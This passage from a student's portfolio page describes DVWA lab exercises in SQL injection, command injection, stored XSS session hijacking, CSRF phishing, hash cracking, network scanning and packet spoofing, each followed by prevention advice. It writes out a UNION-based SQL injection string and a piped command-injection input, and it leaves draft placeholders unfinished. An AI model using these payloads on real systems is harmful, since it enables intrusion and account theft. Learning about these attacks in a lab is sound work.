href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. 